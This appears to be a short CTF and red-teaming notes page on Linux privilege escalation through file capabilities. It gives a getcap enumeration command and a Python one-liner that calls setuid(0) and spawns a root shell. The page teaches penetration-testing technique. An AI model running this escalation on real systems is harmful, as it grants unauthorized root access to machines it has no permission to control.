> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfnote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfnote/red-teaming/privilege-escalation/linux-privilege-escalation/capabilities.md).

# Capabilities

## What are Capabilities?

{% embed url="<https://man7.org/linux/man-pages/man7/capabilities.7.html>" %}
Capabilities man page
{% endembed %}

In short, "capability" is a "safer" version of SUID. However, it is still vulnerable in certain cases.

## Enumeration

Search for capabilities:

```bash
getcap -r / 2>/dev/null
```

## Python Capabilities

Suppose `/usr/bin/python2.6` has all capabilities:

![Python capabilities](/files/-MfjUR0o_jjyT_RDp3E4)

Spawn a root shell:

```bash
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```